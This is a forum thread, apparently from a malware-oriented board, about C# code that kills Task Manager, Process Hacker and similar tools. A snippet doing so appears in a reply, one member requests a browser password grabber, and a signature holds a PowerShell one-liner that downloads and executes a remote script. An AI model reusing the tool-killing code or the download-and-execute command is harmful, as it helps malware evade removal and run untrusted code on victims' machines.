Jan 21, 2019 04:26 PM
(This post was last modified: Jan 21, 2019 04:30 PM by gigajew.)
This is an easy way to scan and kill processes of your choice. It could be used for anti task manager, or anti regedit or other known processes. Enjoy this source code.
Jan 22, 2019 10:28 AM
(This post was last modified: Jan 22, 2019 10:32 AM by Grooty.)
what ? if (Matches(name, "Taskmgr.exe") || Matches(name, "ProcessHacker.exe") || ) omg
Can you make it easier
string[] st = new string[] { "Taskmgr.exe", "ProcessHacker.exe" "e.t.c"};
foreach (var pro in st)
{
if (Matches(name, pro)
{
KillProcess(id);
}
}
Write better password grabber FF (mozilla) or new Yandex =)
(Jan 22, 2019 10:28 AM)Grooty Wrote: Can you make it easier
Have you not looked at his other sources? He makes unnecessary boilerplate code all the time.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"![[Image: f4hRdFS.gif]](https://i.imgur.com/f4hRdFS.gif)
DO NOT DEAL WITH THIS MEMBER
(Jan 22, 2019 04:41 PM)Nick (Name) Wrote: Have you not looked at his other sources? He makes unnecessary boilerplate code all the time.
Probably one of the only people I see contributing in the first place though. ;c
Yea i must agree with the user above. Everyone starts from somwhere and however i don't know OP's experience but at least he is sharing something. I've been in many communities with programming stuff and they post shit ton of threads on a daily basis, while here.... it's just dead and from time to time people like OP post something, so be glad for it
Жизнь это не те дни, что прошли, а те, что запомнились
Is there any reason why you chose to use the native winapi calls over the built-in System.Diagnostics.Process class?
(Jan 23, 2019 07:47 AM)Washi Wrote: Is there any reason why you chose to use the native winapi calls over the built-in System.Diagnostics.Process class?
That class can raise exceptions and he doesn't want anything stopping his precious app.
DO NOT DEAL WITH THIS MEMBER
(Jan 23, 2019 04:19 AM)Dotexe Wrote: Yea i must agree with the user above. Everyone starts from somwhere and however i don't know OP's experience but at least he is sharing something. I've been in many communities with programming stuff and they post shit ton of threads on a daily basis, while here.... it's just dead and from time to time people like OP post something, so be glad for it
If anything this is the only community I've seen with the most contribution, so I wouldn't bash on him too hard.
Be an asshole where needed, but give advice where applicable too.
Jan 23, 2019 05:04 PM
(This post was last modified: Jan 23, 2019 05:06 PM by 0xDEAD10CC.)
(Jan 23, 2019 10:18 AM)He B TeMy Wrote: That class can raise exceptions and he doesn't want anything stopping his precious app.
For what he's doing there's little to no concern. He's not enumerating modules or anything like that, and what he is currently doing in his own code has more potential for exceptions in comparison because there's barely any error handling here; no function return checks, etc.
DO NOT DEAL WITH THIS MEMBER
(Jan 23, 2019 04:08 AM)deiski Wrote: Probably one of the only people I see contributing in the first place though. ;c
(Jan 23, 2019 04:19 AM)Dotexe Wrote: Yea i must agree with the user above. Everyone starts from somwhere and however i don't know OP's experience but at least he is sharing something. I've been in many communities with programming stuff and they post shit ton of threads on a daily basis, while here.... it's just dead and from time to time people like OP post something, so be glad for it
I agree with ^ at least this member is sharing with us his knowledge.
Also, I would call System.Diagnostics.Process class instead of all these native calls. This is a basic example:
Jan 24, 2019 06:36 PM
(This post was last modified: Jan 24, 2019 06:39 PM by 0xDEAD10CC.)
(Jan 24, 2019 12:17 PM)NYANxCAT Wrote: I agree with ^ at least this member is sharing with us his knowledge.
Also, I would call System.Diagnostics.Process class instead of all these native calls. This is a basic example:
- Why are you using a list over an array?
- Why are you just catching all exceptions?
(Jan 23, 2019 05:04 PM)0xDEAD10CC Wrote: For what he's doing there's little to no concern. He's not enumerating modules or anything like that, and what he is currently doing in his own code has more potential for exceptions in comparison because there's barely any error handling here; no function return checks, etc.
I agree with there's little to no concern because he has the check's in place, what i meant was even if he was enumerating any exception that would happen would not crash his app this way, while using .net you must handle every exception possible otherwise the app may go boom.
tl:dr i was being sarcastic.
Why the fuck would you write this in C# when you are importing every function from kernel32?. Use C# wrappers or write the shit in C/C++.
cool, this works well on my windows 7.
|